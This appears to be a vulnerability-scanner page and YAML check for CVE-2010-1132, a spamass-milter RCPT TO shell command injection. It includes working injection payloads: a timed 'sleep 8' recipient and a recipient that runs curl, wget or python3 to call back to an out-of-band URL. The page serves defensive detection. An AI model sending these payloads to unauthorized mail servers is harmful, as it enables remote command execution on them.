Spamass Milter — 1 vulnerability check
noctis ships 1 vulnerability check for Spamass Milter, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SpamAssassin Milter Plugin mlfi_envrcpt() RCPT TO command injection
| CVE | CVE-2010-1132 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | rce — Remote code execution |
| Services | smtp |
| Detection | tcp_open, sleep, tcp_send, set_var, script, match, tcp_close, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/spamass-milter/CVE-2010-1132.yaml |
Checks an SMTP server for the SpamAssassin Milter Plugin (spamass-milter) 0.3.1 command injection. When the milter runs with alias expansion, it passes each RCPT TO address to a shell, so a recipient containing a double quote runs commands on the mail server without authentication. The test opens an SMTP session (HELO, MAIL FROM) and sends a control recipient running "sleep 0", which must be answered at once, then a recipient running "sleep 8". It reports the server when the second answer (accepted or refused) is held back for about eight seconds, which only happens when the shell ran the command. With out-of-band detection enabled, a further recipient makes a single HTTP request back to the scanner, which confirms command execution. No mail is sent and no file is written on the target.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
HELO noctis.teston the open socket - Sends
MAIL FROM: <noctis@noctis.test>on the open socket - Sends
RCPT TO: {{ctl_rcpt}}on the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
RCPT TO: {{inj_rcpt}}on the open socket - Sends
…on the open socket - Sends
…on the open socket - Checks
inj_late.responsefor^[245][0-9][0-9][ -]→ finding QoD 75: spamass-milter RCPT TO command injection (sleep delay confirmed) - Sends
RCPT TO: root+:"; u={{oob_url}}; curl -sm5 $u||wget -qT5 -O- $u||python3 -c 'import urlli…on the open socket - Sends
QUITon the open socket - … and 1 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-1132
- https://savannah.nongnu.org/bugs/?29136
- https://bugs.gentoo.org/310049
- https://www.exploit-db.com/exploits/11662
Feed source — tests/vulnerabilities/spamass-milter/CVE-2010-1132.yaml
# SpamAssassin Milter Plugin (spamass-milter) 0.3.1 mlfi_envrcpt() command injection (CVE-2010-1132)
#
# Run with -x (alias / virtusertable expansion), spamass-milter 0.3.1 expands
# each envelope recipient by popen()ing a shell command line built around the
# raw RCPT TO address, roughly sendmail -bv "<rcpt>" 2>&1 , and reads the pipe
# to EOF before Sendmail answers the RCPT. A double quote in the recipient
# closes the quoted argument, so RCPT TO: root+:"; cmd ;" runs cmd as the
# milter user. 0.3.2 / distro fixes run sendmail through popenv() (fork/exec,
# no shell).
#
# Two detection branches, both real command execution:
#
# 1. Timing (QoD 75, no OOB needed)
# A same-shape control recipient running sleep 0 must be answered
# within ~3 s; the injected sleep 8 recipient must stay unanswered for
# ~5 s and then be answered before ~11 s. A server that is merely slow
# (or tarpits every RCPT) fails the control and is not reported. Any
# 2xx/4xx/5xx reply counts: Sendmail calls the milter before it checks
# the local user, so the injected command runs even when the recipient
# is then refused (550 User unknown), or tempfailed on a milter timeout.
# 2. OOB callback (QoD 97) — only with --oob
# The injected recipient makes one HTTP GET to {{oob_url}} with curl,
# wget or python3. Nothing is written on the target.
#
# Credit: detection logic adapted from the GPL-2.0 plugin
# 2010/gb_spamassassin_milter_38578.nasl (OID 1.3.6.1.4.1.25623.1.0.100528).
# Beyond it: the same-shape control recipient (the source compares with the
# MAIL FROM delay only), a two-sided delay window read in place instead of a
# single 16 s wait, and the OOB branch.
uid: 0d18a604-e6e7-4f97-a8a9-0e2571b8ea24
name: "SpamAssassin Milter Plugin mlfi_envrcpt() RCPT TO command injection (CVE-2010-1132)"
description: |
Checks an SMTP server for the SpamAssassin Milter Plugin (spamass-milter)
0.3.1 command injection. When the milter runs with alias expansion, it
passes each RCPT TO address to a shell, so a recipient containing a double
quote runs commands on the mail server without authentication.
The test opens an SMTP session (HELO, MAIL FROM) and sends a control
recipient running "sleep 0", which must be answered at once, then a
recipient running "sleep 8". It reports the server when the second answer
(accepted or refused) is held back for about eight seconds, which only
happens when the shell ran the command. With out-of-band detection enabled, a
further recipient makes a single HTTP request back to the scanner, which
confirms command execution. No mail is sent and no file is written on the
target.
cves: [CVE-2010-1132]
cvss: 9.3
severity: critical
category: rce
confidence_base: 0.30
tags: [spamass-milter, spamassassin, milter, sendmail, smtp, rce, command-injection, intrusive, oob]
services: [smtp]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1132"
- "https://savannah.nongnu.org/bugs/?29136"
- "https://bugs.gentoo.org/310049"
- "https://www.exploit-db.com/exploits/11662"
vars:
ctl_rcpt: "root+:\"; sleep 0 ;\""
inj_rcpt: "root+:\"; sleep 8 ;\""
steps:
- id: open-smtp
action: tcp_open
handle: smtp
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# Sendmail greets after its reverse DNS lookup, which can outlast even the
# open's first-byte wait (timeout_secs): wait and read the greeting.
- id: greeting-wait
action: sleep
condition: "conn.connected == true && type_of(conn.banner) != \"string\""
duration_ms: 4000
- id: greeting-read
action: tcp_send
handle: smtp
condition: "conn.connected == true && type_of(conn.banner) != \"string\""
send: ""
timeout_secs: 10
store_as: greet
- id: greeting-init
action: set_var
var_name: late_ok
var_value: false
- id: greeting-late
action: set_var
condition: "type_of(greet.response) == \"string\""
var_name: late_ok
var_value: true
- id: greeting
action: script
condition: "conn.connected == true"
store_as: greeting
code: |
let txt = "";
if late_ok { txt = greet.response; }
if type_of(conn.banner) == "string" { txt = conn.banner; }
txt
- id: helo
action: tcp_send
handle: smtp
condition: "type_of(greeting) == \"string\" && greeting.starts_with(\"220\")"
send: "HELO noctis.test\r\n"
timeout_secs: 10
store_as: helo
- id: mail-from
action: tcp_send
handle: smtp
condition: "type_of(greeting) == \"string\" && greeting.starts_with(\"220\") && type_of(helo.response) == \"string\" && helo.response.starts_with(\"250\")"
send: "MAIL FROM: <noctis@noctis.test>\r\n"
timeout_secs: 10
store_as: mail
- id: sender-init
action: set_var
var_name: sender_ok
var_value: false
- id: sender-accepted
action: set_var
condition: "type_of(mail.response) == \"string\" && mail.response.starts_with(\"250\")"
var_name: sender_ok
var_value: true
# ── Control: same-shape recipient, sleep 0 — must be answered quickly ─────
- id: control
action: tcp_send
handle: smtp
condition: "sender_ok == true"
send: "RCPT TO: {{ctl_rcpt}}\r\n"
# Short reply waits on every timing read (timeout_secs bounds the wait for
# the first reply byte): a server that tarpits every RCPT must not have its
# late control answer read as "answered at once".
timeout_secs: 1
store_as: ctl
- id: control-wait
action: sleep
condition: "sender_ok == true && ctl.responded == false"
duration_ms: 2000
- id: control-late
action: tcp_send
handle: smtp
condition: "sender_ok == true && ctl.responded == false"
send: ""
timeout_secs: 1
store_as: ctl_late
- id: control-text
action: script
condition: "sender_ok == true"
store_as: ctl_text
code: |
let t = "";
if ctl.responded == true { t = ctl.response; }
else if type_of(ctl_late) == "map" && ctl_late.responded == true { t = ctl_late.response; }
t
- id: control-init
action: set_var
var_name: control_ok
var_value: false
- id: control-answered
action: set_var
condition: "sender_ok == true && ereg(\"^[245][0-9][0-9][ -]\", ctl_text)"
var_name: control_ok
var_value: true
# ── Branch 1: timing (QoD 75) ─────────────────────────────────────────────
- id: inject-sleep
action: tcp_send
handle: smtp
condition: "control_ok == true"
send: "RCPT TO: {{inj_rcpt}}\r\n"
timeout_secs: 1
store_as: inj
- id: inject-wait-1
action: sleep
condition: "control_ok == true && inj.responded == false"
duration_ms: 4000
# t ≈ 5 s: still unanswered on a vulnerable server (sleep 8 is running).
- id: inject-read-1
action: tcp_send
handle: smtp
condition: "control_ok == true && inj.responded == false"
send: ""
timeout_secs: 1
store_as: inj_mid
- id: inject-wait-2
action: sleep
condition: "control_ok == true && inj.responded == false && inj_mid.responded == false"
duration_ms: 5500
# t ≈ 11 s: the held-back reply has arrived.
- id: inject-read-2
action: tcp_send
handle: smtp
condition: "control_ok == true && inj.responded == false && inj_mid.responded == false"
send: ""
timeout_secs: 10
store_as: inj_late
- id: report-timing
action: match
source: inj_late.response
pattern: "^[245][0-9][0-9][ -]"
condition: "control_ok == true && inj.responded == false && inj_mid.responded == false && type_of(inj_late) == \"map\" && inj_late.responded == true"
on_match:
finding:
title: "spamass-milter RCPT TO command injection (sleep delay confirmed)"
confidence_delta: 0.45 # 0.30 + 0.45 = 0.75
qod: 75
evidence: "RCPT TO: {{ctl_rcpt}} → {{ctl_text}} (answered at once); RCPT TO: {{inj_rcpt}} → no answer after ~1 s and ~5 s, then {{inj_late.response}} at ~11 s"
# ── Branch 2: real exploitation, OOB callback (QoD 97) ────────────────────
# No double quote may appear inside the command: it would close the quoted
# recipient. A shell variable keeps the address under Sendmail's 256-byte
# MAXNAME. If curl/wget/python3 together outlast the milter timeout,
# Sendmail only stops waiting for the reply: the callback still fires.
- id: inject-oob
action: tcp_send
handle: smtp
condition: "oob_enabled && control_ok == true"
send: "RCPT TO: root+:\"; u={{oob_url}}; curl -sm5 $u||wget -qT5 -O- $u||python3 -c 'import urllib.request as r,sys;r.urlopen(sys.argv[1],timeout=5)' $u;\"\r\n"
timeout_secs: 10
store_as: inj_oob
- id: quit
action: tcp_send
handle: smtp
condition: "conn.connected == true"
send: "QUIT\r\n"
timeout_secs: 5
store_as: bye
- id: close-smtp
action: tcp_close
handle: smtp
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
# The milter answers the RCPT only after the command ends, so the reply
# may come late: sending the recipient is enough to wait for the callback.
condition: "oob_enabled && control_ok == true && type_of(inj_oob) == \"map\" && inj_oob.sent == true"
on_success:
finding:
title: "spamass-milter RCPT TO command injection confirmed (out-of-band callback)"
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "RCPT TO: {{ctl_rcpt}} → {{ctl_text}}; injected recipient ran a shell command that called back ({{oob_result.method}} /{{oob_token}})"
stop: true